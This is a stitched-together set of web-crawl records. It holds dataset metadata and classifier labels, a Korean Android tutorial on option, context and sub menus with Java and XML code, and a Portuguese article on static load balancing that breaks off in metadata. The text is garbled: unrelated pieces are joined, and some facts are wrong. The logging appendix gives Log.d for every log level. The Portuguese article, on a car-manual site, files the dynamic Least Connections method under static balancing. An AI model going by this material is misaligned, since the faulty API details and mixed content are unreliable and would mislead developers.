4313,
4317,
4326,
4334,
4338,
4357,
4358,
4393,
4394,
4400,
4409,
4437,
4463,
4491,
4525,
4553,
4554,
4560,
4575,
4576,
4583,
4599,
4614,
4629,
4630,
4638,
4671,
4686,
4687,
4696,
4715,
4720,
4721,
4738,
4739,
4769,
4770,
4774,
4775,
4819,
4820,
4871,
4872,
4873,
4924,
4925,
4939,
4940,
4967,
4994
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 4994,
"ccnet_original_nlines": 340,
"rps_doc_curly_bracket": 0.000800959998741746,
"rps_doc_ldnoobw_words": 1,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.07750832289457321,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.04089396074414253,
"rps_doc_frac_lines_end_with_ellipsis": 0.005865099839866161,
"rps_doc_frac_no_alph_words": 0.7603423595428467,
"rps_doc_frac_unique_words": 0.5417255759239197,
"rps_doc_mean_word_length": 3.797736883163452,
"rps_doc_num_sentences": 72,
"rps_doc_symbol_to_word_ratio": 0.004755110014230013,
"rps_doc_unigram_entropy": 5.620052337646484,
"rps_doc_word_count": 707,
"rps_doc_frac_chars_dupe_10grams": 0.09162010997533798,
"rps_doc_frac_chars_dupe_5grams": 0.09944134205579758,
"rps_doc_frac_chars_dupe_6grams": 0.09944134205579758,
"rps_doc_frac_chars_dupe_7grams": 0.09683425724506378,
"rps_doc_frac_chars_dupe_8grams": 0.09162010997533798,
"rps_doc_frac_chars_dupe_9grams": 0.09162010997533798,
"rps_doc_frac_chars_top_2gram": 0.005214150063693523,
"rps_doc_frac_chars_top_3gram": 0.005586590152233839,
"rps_doc_frac_chars_top_4gram": 0.005959029775112867,
"rps_doc_books_importance": -901.4559936523438,
"rps_doc_books_importance_length_correction": -901.4559936523438,
"rps_doc_openwebtext_importance": -552.1812744140625,
"rps_doc_openwebtext_importance_length_correction": -552.1812744140625,
"rps_doc_wikipedia_importance": -463.74310302734375,
"rps_doc_wikipedia_importance_length_correction": -463.74310302734375
},
"fasttext": {
"dclm": 0.8796617388725281,
"english": 0.47088897228240967,
"fineweb_edu_approx": 2.793597459793091,
"eai_general_math": 0.36566638946533203,
"eai_open_web_math": 0.4355580806732178,
"eai_web_code": 0.03728253021836281
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "510",
"labels": {
"level_1": "Science and Natural history",
"level_2": "Mathematics",
"level_3": ""
}
},
"secondary": {
"code": "372.7",
"labels": {
"level_1": "Social sciences",
"level_2": "Education",
"level_3": "Education, Elementary and Kindergarten"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "1",
"label": "Factual"
}
},
"document_type_v1": {
"primary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "0",
"label": "No Artifacts"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "4",
"label": "Missing Images or Figures"
}
},
"document_type_v2": {
"primary": {
"code": "23",
"label": "Tutorial"
},
"secondary": {
"code": "10",
"label": "Knowledge Article"
}
},
"reasoning_depth": {
"primary": {
"code": "3",
"label": "Intermediate Reasoning"
},
"secondary": {
"code": "2",
"label": "Basic Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "3",
"label": "Mostly Correct"
},
"secondary": {
"code": "4",
"label": "Highly Correct"
}
},
"education_level": {
"primary": {
"code": "2",
"label": "High School Level"
},
"secondary": {
"code": "3",
"label": "Undergraduate Level"
}
}
} | 672f1e42c33a7f9846924a2431ea77df |
-2,462,741,115,688,767,500 | Full Stack Web Developer.
Syaku (샤쿠)
Java, JS (ES6+), Spring, Spring security, jQuery, Reactjs, Bootstrap.
07-03 04:38
Spring Boot 2 보기 Front-end 보기 DevOps 보기 Spring 3 보기 Spring Security 3 보기
안드로이드 메뉴 #2 옵션 메뉴와 컨텍스트 메뉴 그리고 서브메뉴 : Android Menu #2 OptionMenu , ContextMenu And SubManenu
written by Seok Kyun. Choi. 최석균
※ 버전 : Android SDK 2.3.1
이번 포스팅에서는 나머지 옵션 메뉴부분과 컨텍스트 메뉴의 대해서 알아보도록 한다.
2011/06/03 - [개발노트/안드로이드 SDK] - 안드로이드 메뉴 #2 옵션 메뉴와 컨텍스트 메뉴 그리고 서브메뉴 : Android Menu #2 OptionMenu , ContextMenu And SubManenu
※ 소스 이해를 돕기위해 설명이므로, 아래의 소스를 분석할때 참조하자.
[체크 메뉴 항목 관련 메서드]
> boolean onPerpareOptionsMenu (Menu menu)
메뉴가 열릴때마다 호출되는 메서드. onCreateOptionsMenu 는 한번만 호출되기 때문에 메뉴 초기화나 메뉴 정의는 한번 밖에할 수 없다.
만약 실행중에 메뉴를 재정의하고자 할때 onPerpareOtionsMenu 에서 정의하면 된다.
> chechableBehavior 속성
none : 체크를 할 수 없는 단독 명령
all : 체크 박스, 여러 개를 선택할 수 있다.
single : 라디오 박스, 한개의 항목만 선택할 수 있다.
[컨텍스트 메뉴 관련 메서드]
> void Activity.registerForContexMenu (View view)
컨텍스트 메뉴 달기위해 사용하는 메서드
> void onCreateContextMenu (ContextMenu menu, View v, ContextMenu.ContextMenuInfo menuInfo)
롱 클릭에 의해 호출되는 메서드
> void onCreateContextMenu (ContextMenu menu)
이름은 같지만 인수가 좀 더 적다. 뷰의 컨텍스트 메뉴를 생성할 때 메서드를 호출한다.
> boolean onContextItemSelected (MenuItem item)
컨텍스트 메뉴가 선택되면 호출되는 메서드
체크 메뉴 항목
메뉴는 입력받는 장치이지만, 체크나 라디오 그룹 등을 통해 프로그램의 현재 상태를 보여주기도 한다. 단 이기능은 컨텍스트 메뉴와 서브 메뉴에서만 사용할 수 있다. 옵션 메뉴는 명령만 받아 들이며, 상태 표시를 못한다.
이번 어플리케이션의 기능은 메뉴를 선택하고 서브메뉴에서 체크와 라디오 를 선택하면 그에 따르는 속성이 레이아웃 버튼에 적용된다.
그후 버튼에 적용된 속성을 읽어 기존에 선택된 값을 유지할 수 있게 한다.
예를들어, 버튼의 현재 색은 흰색이다. 메뉴를 선택하여 여러 라디오 박스중에 빨간색을 선택하여 버튼 색을 빨간색으로 변경한다.
그리고 다시 메뉴를 선택하게 되면 여러 라디오 박스중에 빨간색 라디오 박스가 기본적으로 체크되게 된다.
onPrepareOptionsMenu 메서드를 사용하여 설정된 기존 값을 유지하게 구성하면 된다.
> layout/main.xml
화면 레이아웃에는 버튼을 하나 생성하였다. 버튼의 글자색은 #ff0000 이며 글자크기는 20px 이다.
<?xml version="1.0" encoding="utf-8"?>
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
android:orientation="vertical"
android:layout_width="fill_parent"
android:layout_height="fill_parent"
>
<Button
android:id="@+id/button"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:textColor="#ff0000"
android:text="버튼"
android:textSize="20px" />
</LinearLayout>
> res/menu/menucheck.xml
자원에 메뉴 항목을 구성하였다. 서브메뉴라는 메뉴 항목을 추가하고,
큰폰트 메뉴 항목 하나와 레드, 그린, 블루 그룹 메뉴항목을 생성하였다.
checkableBehavior 가 all 인 경우 체크박스가 되고, single 인 경우 라디오박스가 된다.
<?xml version="1.0" encoding="utf-8"?>
<menu xmlns:android="http://schemas.android.com/apk/res/android">
<item android:id="@+id/submenu" android:title="서브 메뉴">
<menu>
<group android:id="@+id/checkable_group" android:checkableBehavior="all">
<item android:id="@+id/bigfont" android:title="큰폰트" />
</group>
<group android:id="@+id/exclusive_checkable_group" android:checkableBehavior="single">
<item android:id="@+id/red" android:title="레드" android:checked="true" />
<item android:id="@+id/green" android:title="그린" />
<item android:id="@+id/blue" android:title="블루" />
</group>
</menu>
</item>
</menu>
> 자바 소스
서브메뉴의 선택에 따라 화면 레이아웃의 버튼이 변하게 된다.
package com.syaku;
import android.app.Activity;
import android.os.Bundle;
import android.widget.*; // Button
import android.view.*; // Menu
import android.graphics.*; // Color
public class AndroidMenu extends Activity {
/** Called when the activity is first created. */
Button mBtn;
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.main); // layout/main.xml
mBtn = (Button) findViewById(R.id.button); // call id
}
public boolean onCreateOptionsMenu(Menu menu) {
super.onCreateOptionsMenu(menu);
MenuInflater inflater = getMenuInflater();
inflater.inflate(R.menu.menucheck,menu); // menu/menucheck.xml
return true;
}
public boolean onPrepareOptionsMenu(Menu menu){
// 텍스트 사이즈가 40 인 경우 : 기본 = 20
if (mBtn.getTextSize() == 40) {
menu.findItem(R.id.bigfont).setChecked(true);
} else{
menu.findItem(R.id.bigfont).setChecked(false);
}
// 버튼의 텍스트 색상 : 기본 = #ff0000
int color = mBtn.getTextColors().getDefaultColor();
// import android.graphics.*; Color
if (color == Color.RED) {
menu.findItem(R.id.red).setChecked(true);
}
if (color == Color.GREEN) {
menu.findItem(R.id.green).setChecked(true);
}
if (color == Color.BLUE) {
menu.findItem(R.id.blue).setChecked(true);
}
return true; // 이벤트 종료
}
public boolean onOptionsItemSelected(MenuItem item) {
switch (item.getItemId()) {
case R.id.bigfont :
if (item.isChecked()) { // 체크인 경우
mBtn.setTextSize(20); // 텍스트 사이즈 20 변경
} else {
mBtn.setTextSize(40); // 텍스트 사이즈 40 변경
}
return true; // 이벤트 종료
case R.id.red :
mBtn.setTextColor(Color.RED);
return true;
case R.id.green :
mBtn.setTextColor(Color.GREEN);
return true;
case R.id.blue :
mBtn.setTextColor(Color.BLUE);
return true;
}
return false; // 이벤트 유효
}
}
컨텍스트 메뉴
컨텍스트 메뉴는 특정 뷰나 항목에 필요한 명령들만 모아 놓은 메뉴이다. 화면을 롱 클릭하거나, 홈 버튼을 누르고 있으면 화면 중앙에 컨텍스트 메뉴가 열린다. 아래의 어플리케이션은 각 메뉴를 오래 누르고 있거나 커서를 오래 누르고 있을 경우 컨텍스트 메뉴가 열리게 된다.
아래의 소스에 이미지에 문제가 발생하고 있다. 정확한 원인을 찾지 못했다... 그래서 이미지 부분은 주석처리하여 실행하여 테스트해보았다.
> 레이아웃 생성 : /res/layout/main.xml
MyImage는 ImageView 의 서브 클래스이다. XML 문서에서는 패키지 경로를 모두 작성해야 한다.
그리고 이미지를 drewable 폴더에 넣어두자. 이미지명은 아래와 같이 icon 이다.
<?xml version="1.0" encoding="utf-8"?>
<LinearLayout
xmlns:android="http://schemas.android.com/apk/res/android"
android:orientation="vertical"
android:layout_width="fill_parent"
android:layout_height="fill_parent">
<Button
android:id="@+id/button"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="버튼" />
<EditText
android:id="@+id/edittext"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="에디트텍스트" />
<com.syaku.MyImage
android:id="@+id/myimage"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:src="@drawable/icon" />
</LinearLayout>
> 자바 소스
package com.syaku;
import android.app.Activity;
import android.os.Bundle;
import android.widget.*; // Toast,Button
import android.view.*; // Menu
import android.graphics.*; // Color
import android.content.*; //Context
import android.util.*; //AttributeSet
public class AndroidMenu extends Activity {
/** Called when the activity is first created. */
Button mBtn;
EditText mEdit;
MyImage mImage;
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.main); // layout/main.xml
mBtn = (Button) findViewById(R.id.button);
registerForContextMenu(mBtn); // 컨텍스트 메뉴임을 지정
mEdit = (EditText) findViewById(R.id.edittext);
registerForContextMenu(mEdit);
//mImage = (MyImage) findViewById(R.id.myimage);
//registerForContextMenu(mImage);
}
public void onCreateContextMenu (ContextMenu menu, View v,
ContextMenu.ContextMenuInfo menuInfo) {
super.onCreateContextMenu(menu, v, menuInfo);
if (v == mBtn) {
menu.setHeaderTitle("버튼 메뉴");
menu.add(0,1,0,"레드");
menu.add(0,2,0,"그린");
menu.add(0,3,0,"블루");
}
if (v == mEdit) {
menu.add(0,4,0,"번역하기");
menu.add(0,5,0,"필기 인식");
}
}
public boolean onContextItemSelected (MenuItem item) {
switch (item.getItemId()){
case 1: mBtn.setTextColor(Color.RED); return true;
case 2: mBtn.setTextColor(Color.GREEN); return true;
case 3: mBtn.setTextColor(Color.BLUE); return true;
case 4: Toast.makeText(this,"번연했다.", Toast.LENGTH_SHORT).show(); return true;
case 5: Toast.makeText(this,"필기 인식했다.", Toast.LENGTH_SHORT).show(); return true;
case 100: Toast.makeText(this,"회전했다 치고.", Toast.LENGTH_SHORT).show(); return true;
case 101: Toast.makeText(this,"크기 변경했다 치고.", Toast.LENGTH_SHORT).show(); return true;
}
return true;
}
}
class MyImage extends ImageView {
public MyImage(Context context) {
super(context);
}
public MyImage(Context context, AttributeSet attrs) {
super(context);
}
public void onCreateContextMenu(ContextMenu menu) {
super.onCreateContextMenu(menu);
menu.setHeaderTitle("마이이미지 메뉴");
menu.add(0,100,0,"이미지 회전");
menu.add(0,101,0,"크기 변경");
}
}
부록. 디버깅 및 로그
안드로이드 어플리케이션을 개발하면서 발생하는 문제를 빠르게 해결하기 위한 도구에 대해 알아보도록 하자. 기본적인 개발도구인 이클립스는 좋은 디버깅 환경을 제공하고 있다. 에뮬레이터는 개발용이기 때문에 기본적인 디버깅기능을 제공하고 있지만, 실제 모바일기기에는 디버깅을 하겠다는 매니페스트를 지정하여야 한다.
AndroidManifest.xml 파일을 열어서,
<application android:icon="@drawable/icon" android:label="@string/app_name" android:debuggable="true"> 라고 설정하면 된다.
디버깅을 시작하기 전에, 문제가 발생하는 부분을 중단점을 설정하여야 한다. 아래와 같이 파란색원이 처음 찍히는 부분이 중단점이다. 파란색점은 아래의 빨간색 테두리에 떠블 클릭하거나 소스 라인에서 Ctrl + Shift + B 단축키를 이용하면 된다.
중단점을 설정해 놓고 F11(Run/Debug) 키를 누르면 중단점을 만나는 부분에서 어플리케이션을 중단된다.
파란색 화살표가 표시되면 현재 실행중인 지점을 나타내는 것이다.
위 메세지는 이클립스가 디버깅을 위해 디버그 퍼스펙티브로 전환하겠는 지 여부를 물어보는 것이다.
Yes 를 누를 경우 자동으로 퍼스펙티브 화면을 전환된다.
몇가지 단축키를 설명하겠다.
F5 : 메서드 안으로 추척한다.
F6 : 다음 명령문을 실행한다.
F7 : 메서드의 끝까지 실행하고 리턴한다.
F8 : 다음 중단점까지 실행한다.
Ctrl + R : 커서가 있는 지점까지 실행한다.
Ctrl + F2 : 디버깅을 중단한다.
디비깅 툴을 잘 이해하려면 익숙해질때까지 사용하는 방벙뿐일 것 같다.
이젠 소스에서 로그을 출력해보도록 하자. 로그 메서드는 다음과 같다.
출력하는 메서드의 이름에 따라 로그의 수준이 결정된다.
Debug : static int Log.d (String tag, String msg[ , Throwable tr]);
Error : static int Log.d (String tag, String msg[ , Throwable tr]);
Warning : static int Log.d (String tag, String msg[ , Throwable tr]);
Infomation : static int Log.d (String tag, String msg[ , Throwable tr]);
Verbose : static int Log.d (String tag, String msg[ , Throwable tr]);
Verbose 로그는 개발 중에만 컴파일 되며, Debug 로그는 실행 중에는 제거된다.
그 외 로그는 항상 유지된다.
로그 메서드의 인수는 tag: 로그이름 , msg: 로그내용 이다.
Syaku Blog by Seok Kyun. Choi. 최석균.
posted syaku blog
『 Links
안드로이드프로그래밍정복.1(개정판)SDK2.3진저브레드를적용한안드?
카테고리 컴퓨터/IT > 대학교재
지은이 김상형 (한빛미디어, 2011년)
상세보기
http://syaku.tistory.com
댓글 남기기
◀ PREV 12345678 NEXT ▶ | {
"url": "https://syaku.tistory.com/197?category=324714",
"source_domain": "syaku.tistory.com",
"snapshot_id": "crawl=CC-MAIN-2020-29",
"warc_metadata": {
"Content-Length": "74749",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:UBJZNZMSOHGOD2X6J5G5WOFCJSSXMWSU",
"WARC-Concurrent-To": "<urn:uuid:4fb8dfd7-7f57-409e-bcfc-8c00a1db61d7>",
"WARC-Date": "2020-07-02T19:43:27Z",
"WARC-IP-Address": "211.231.99.250",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:OS3J6CFP3AVJHZGZWY7FWNBMJYNYWNIY",
"WARC-Record-ID": "<urn:uuid:2ba21d10-e0b0-483e-8e50-e5b23484ab30>",
"WARC-Target-URI": "https://syaku.tistory.com/197?category=324714",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:e8fa85b9-bac2-4b9f-8e42-fc3fe4a5be82>"
},
"warc_info": "isPartOf: CC-MAIN-2020-29\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for July 2020\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-193.ec2.internal\r\nsoftware: Apache Nutch 1.17 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.2-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: http://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0,
26,
37,
38,
108,
109,
118,
119,
131,
132,
133,
206,
207,
300,
301,
333,
334,
359,
360,
406,
407,
532,
533,
573,
574,
592,
635,
718,
772,
773,
796,
820,
849,
884,
885,
902,
952,
974,
1066,
1084,
1130,
1179,
1227,
1250,
1251,
1252,
1253,
1254,
1264,
1265,
1387,
1388,
1460,
1502,
1503,
1574,
1632,
1687,
1688,
1689,
1707,
1766,
1767,
1806,
1879,
1914,
1953,
1993,
1999,
2004,
2012,
2038,
2075,
2113,
2142,
2161,
2189,
2195,
2211,
2212,
2213,
2238,
2276,
2317,
2379,
2380,
2419,
2485,
2486,
2541,
2549,
2625,
2683,
2694,
2783,
2859,
2914,
2968,
2981,
2990,
2999,
3000,
3008,
3009,
3010,
3018,
3052,
3053,
3054,
3073,
3074,
3103,
3129,
3164,
3195,
3231,
3232,
3276,
3330,
3332,
3349,
3350,
3364,
3418,
3462,
3520,
3582,
3588,
3593,
3645,
3683,
3731,
3799,
3805,
3828,
3834,
3839,
3891,
3926,
3963,
4015,
4028,
4081,
4088,
4094,
4128,
4185,
4191,
4232,
4263,
4311,
4318,
4351,
4401,
4408,
4440,
4489,
4496,
4503,
4531,
4537,
4542,
4600,
4633,
4659,
4700,
4747,
4763,
4810,
4819,
4849,
4871,
4908,
4928,
4952,
4991,
5011,
5034,
5072,
5099,
5106,
5113,
5119,
5148,
5158,
5160,
5161,
5162,
5171,
5172,
5323,
5400,
5401,
5434,
5495,
5545,
5546,
5585,
5599,
5660,
5693,
5730,
5769,
5772,
5783,
5814,
5856,
5899,
5926,
5927,
5939,
5970,
6010,
6051,
6080,
6081,
6101,
6131,
6171,
6212,
6248,
6264,
6265,
6266,
6274,
6293,
6294,
6323,
6349,
6390,
6421,
6457,
6493,
6531,
6532,
6576,
6630,
6633,
6648,
6666,
6684,
6687,
6699,
6753,
6797,
6855,
6864,
6915,
6977,
6986,
7042,
7081,
7090,
7147,
7189,
7198,
7205,
7208,
7270,
7341,
7390,
7394,
7414,
7449,
7476,
7503,
7530,
7536,
7541,
7545,
7566,
7595,
7627,
7632,
7636,
7640,
7643,
7700,
7731,
7788,
7847,
7905,
7989,
8076,
8165,
8257,
8264,
8270,
8287,
8291,
8293,
8294,
8328,
8364,
8384,
8388,
8391,
8447,
8467,
8471,
8474,
8528,
8565,
8570,
8607,
8639,
8670,
8674,
8677,
8679,
8680,
8681,
8682,
8696,
8697,
8869,
8870,
8899,
9014,
9015,
9155,
9156,
9157,
9158,
9220,
9256,
9257,
9258,
9259,
9313,
9346,
9347,
9363,
9382,
9401,
9426,
9446,
9475,
9498,
9499,
9538,
9539,
9578,
9579,
9610,
9678,
9746,
9816,
9889,
9959,
9960,
10010,
10027,
10028,
10066,
10067,
10068,
10069,
10070,
10106,
10124,
10125,
10126,
10137,
10138,
10176,
10195,
10218,
10223,
10224,
10225,
10250,
10251,
10258
],
"line_end_idx": [
26,
37,
38,
108,
109,
118,
119,
131,
132,
133,
206,
207,
300,
301,
333,
334,
359,
360,
406,
407,
532,
533,
573,
574,
592,
635,
718,
772,
773,
796,
820,
849,
884,
885,
902,
952,
974,
1066,
1084,
1130,
1179,
1227,
1250,
1251,
1252,
1253,
1254,
1264,
1265,
1387,
1388,
1460,
1502,
1503,
1574,
1632,
1687,
1688,
1689,
1707,
1766,
1767,
1806,
1879,
1914,
1953,
1993,
1999,
2004,
2012,
2038,
2075,
2113,
2142,
2161,
2189,
2195,
2211,
2212,
2213,
2238,
2276,
2317,
2379,
2380,
2419,
2485,
2486,
2541,
2549,
2625,
2683,
2694,
2783,
2859,
2914,
2968,
2981,
2990,
2999,
3000,
3008,
3009,
3010,
3018,
3052,
3053,
3054,
3073,
3074,
3103,
3129,
3164,
3195,
3231,
3232,
3276,
3330,
3332,
3349,
3350,
3364,
3418,
3462,
3520,
3582,
3588,
3593,
3645,
3683,
3731,
3799,
3805,
3828,
3834,
3839,
3891,
3926,
3963,
4015,
4028,
4081,
4088,
4094,
4128,
4185,
4191,
4232,
4263,
4311,
4318,
4351,
4401,
4408,
4440,
4489,
4496,
4503,
4531,
4537,
4542,
4600,
4633,
4659,
4700,
4747,
4763,
4810,
4819,
4849,
4871,
4908,
4928,
4952,
4991,
5011,
5034,
5072,
5099,
5106,
5113,
5119,
5148,
5158,
5160,
5161,
5162,
5171,
5172,
5323,
5400,
5401,
5434,
5495,
5545,
5546,
5585,
5599,
5660,
5693,
5730,
5769,
5772,
5783,
5814,
5856,
5899,
5926,
5927,
5939,
5970,
6010,
6051,
6080,
6081,
6101,
6131,
6171,
6212,
6248,
6264,
6265,
6266,
6274,
6293,
6294,
6323,
6349,
6390,
6421,
6457,
6493,
6531,
6532,
6576,
6630,
6633,
6648,
6666,
6684,
6687,
6699,
6753,
6797,
6855,
6864,
6915,
6977,
6986,
7042,
7081,
7090,
7147,
7189,
7198,
7205,
7208,
7270,
7341,
7390,
7394,
7414,
7449,
7476,
7503,
7530,
7536,
7541,
7545,
7566,
7595,
7627,
7632,
7636,
7640,
7643,
7700,
7731,
7788,
7847,
7905,
7989,
8076,
8165,
8257,
8264,
8270,
8287,
8291,
8293,
8294,
8328,
8364,
8384,
8388,
8391,
8447,
8467,
8471,
8474,
8528,
8565,
8570,
8607,
8639,
8670,
8674,
8677,
8679,
8680,
8681,
8682,
8696,
8697,
8869,
8870,
8899,
9014,
9015,
9155,
9156,
9157,
9158,
9220,
9256,
9257,
9258,
9259,
9313,
9346,
9347,
9363,
9382,
9401,
9426,
9446,
9475,
9498,
9499,
9538,
9539,
9578,
9579,
9610,
9678,
9746,
9816,
9889,
9959,
9960,
10010,
10027,
10028,
10066,
10067,
10068,
10069,
10070,
10106,
10124,
10125,
10126,
10137,
10138,
10176,
10195,
10218,
10223,
10224,
10225,
10250,
10251,
10258,
10280
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 10280,
"ccnet_original_nlines": 373,
"rps_doc_curly_bracket": 0.0046692597679793835,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.018651969730854034,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.01949978992342949,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.6553624272346497,
"rps_doc_frac_unique_words": 0.5751811861991882,
"rps_doc_mean_word_length": 8.54891300201416,
"rps_doc_num_sentences": 230,
"rps_doc_symbol_to_word_ratio": 0.0033912700600922108,
"rps_doc_unigram_entropy": 6.139907360076904,
"rps_doc_word_count": 1104,
"rps_doc_frac_chars_dupe_10grams": 0.1341385841369629,
"rps_doc_frac_chars_dupe_5grams": 0.20046620070934296,
"rps_doc_frac_chars_dupe_6grams": 0.1905064582824707,
"rps_doc_frac_chars_dupe_7grams": 0.18054673075675964,
"rps_doc_frac_chars_dupe_8grams": 0.18054673075675964,
"rps_doc_frac_chars_dupe_9grams": 0.14748887717723846,
"rps_doc_frac_chars_top_2gram": 0.01483364962041378,
"rps_doc_frac_chars_top_3gram": 0.011866919696331024,
"rps_doc_frac_chars_top_4gram": 0.01006568968296051,
"rps_doc_books_importance": -1092.3345947265625,
"rps_doc_books_importance_length_correction": -1092.3345947265625,
"rps_doc_openwebtext_importance": -677.9844970703125,
"rps_doc_openwebtext_importance_length_correction": -677.9844970703125,
"rps_doc_wikipedia_importance": -472.498779296875,
"rps_doc_wikipedia_importance_length_correction": -472.498779296875
},
"fasttext": {
"dclm": 0.2349637746810913,
"english": 0.007752600125968456,
"fineweb_edu_approx": 1.956100344657898,
"eai_general_math": 0.015536489896476269,
"eai_open_web_math": 0.06574690341949463,
"eai_web_code": 0.33389246463775635
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.1",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "-1",
"labels": {
"level_1": "",
"level_2": "",
"level_3": ""
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
},
"secondary": {
"code": "4",
"label": "Code/Software"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"missing_content": {
"primary": {
"code": "4",
"label": "Missing Images or Figures"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "23",
"label": "Tutorial"
},
"secondary": {
"code": "8",
"label": "Documentation"
}
},
"reasoning_depth": {
"primary": {
"code": "3",
"label": "Intermediate Reasoning"
},
"secondary": {
"code": "2",
"label": "Basic Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
} | 672f1e42c33a7f9846924a2431ea77df |
2,281,622,510,731,325,000 | Você e 128 pessoas próximas de foram selecionadas.
O que é Balanceamento Estático
O que é Balanceamento Estático?
O balanceamento estático é uma técnica utilizada em redes de computadores para distribuir o tráfego de forma equilibrada entre os diferentes servidores disponíveis. Essa estratégia é especialmente útil em ambientes onde há um grande volume de requisições e é necessário garantir a disponibilidade e o desempenho dos serviços oferecidos.
Como funciona o Balanceamento Estático?
No balanceamento estático, um dispositivo intermediário, conhecido como balanceador de carga, é responsável por receber as requisições dos clientes e encaminhá-las para os servidores disponíveis. Esse balanceador utiliza algoritmos para determinar qual servidor deve receber cada requisição, levando em consideração fatores como a carga de trabalho de cada servidor, a capacidade de processamento e a disponibilidade dos recursos.
Benefícios do Balanceamento Estático
O balanceamento estático traz diversos benefícios para as redes de computadores. Um dos principais é a melhoria no desempenho dos serviços oferecidos, uma vez que o tráfego é distribuído de forma equilibrada entre os servidores. Isso evita sobrecargas em um único servidor e garante que todos os recursos disponíveis sejam utilizados de forma eficiente.
Além disso, o balanceamento estático também contribui para a disponibilidade dos serviços. Caso um servidor apresente problemas ou fique indisponível, o balanceador de carga pode redirecionar as requisições para outros servidores, garantindo que os clientes não sejam afetados pela falha.
Algoritmos de Balanceamento Estático
Existem diferentes algoritmos utilizados no balanceamento estático, cada um com suas características e formas de distribuir o tráfego entre os servidores. Alguns dos algoritmos mais comuns são:
Round Robin
O algoritmo Round Robin distribui as requisições de forma circular entre os servidores disponíveis. Cada requisição é encaminhada para o próximo servidor da lista, garantindo que todos os servidores sejam utilizados de forma igualitária. Esse algoritmo é simples e eficiente, mas pode não ser adequado para ambientes onde os servidores possuem capacidades diferentes.
Least Connections
O algoritmo Least Connections leva em consideração o número de conexões ativas em cada servidor para decidir para qual servidor encaminhar a requisição. Dessa forma, o tráfego é direcionado para os servidores menos ocupados, garantindo um melhor balanceamento de carga. Esse algoritmo é especialmente útil em ambientes onde as requisições possuem duração variável.
IP Hash
O algoritmo IP Hash utiliza o endereço IP do cliente para determinar para qual servidor encaminhar a requisição. Dessa forma, todas as requisições de um mesmo cliente são direcionadas para o mesmo servidor, o que pode ser útil em casos onde é necessário manter o estado da sessão do cliente.
Conclusão
O balanceamento estático é uma técnica essencial para garantir a disponibilidade e o desempenho dos serviços em redes de computadores. Através do uso de algoritmos e de um balanceador de carga, é possível distribuir o tráfego de forma equilibrada entre os servidores disponíveis, evitando sobrecargas e garantindo que todos os recursos sejam utilizados de forma eficiente. Com isso, é possível oferecer uma melhor experiência aos usuários e evitar falhas e interrupções nos serviços.
O que é Balanceamento Estático
COMPARTILHE
O que é Balanceamento Estático
Materias recentes:
O que é Balanceamento Estático | {
"url": "https://manualdoautomovel.com.br/glossario/o-que-e-balanceamento-estatico/",
"source_domain": "manualdoautomovel.com.br",
"snapshot_id": "CC-MAIN-2024-26",
"warc_metadata": {
"Content-Length": "88922",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:6LKD7ISL2LWGZCMX364FZDWMGTA42QOJ",
"WARC-Concurrent-To": "<urn:uuid:48cc69d2-51cc-4bd3-b77e-ca3e0222d332>",
"WARC-Date": "2024-06-13T21:31:44Z",
"WARC-IP-Address": "187.33.241.52",
"WARC-Identified-Payload-Type": "text/html",
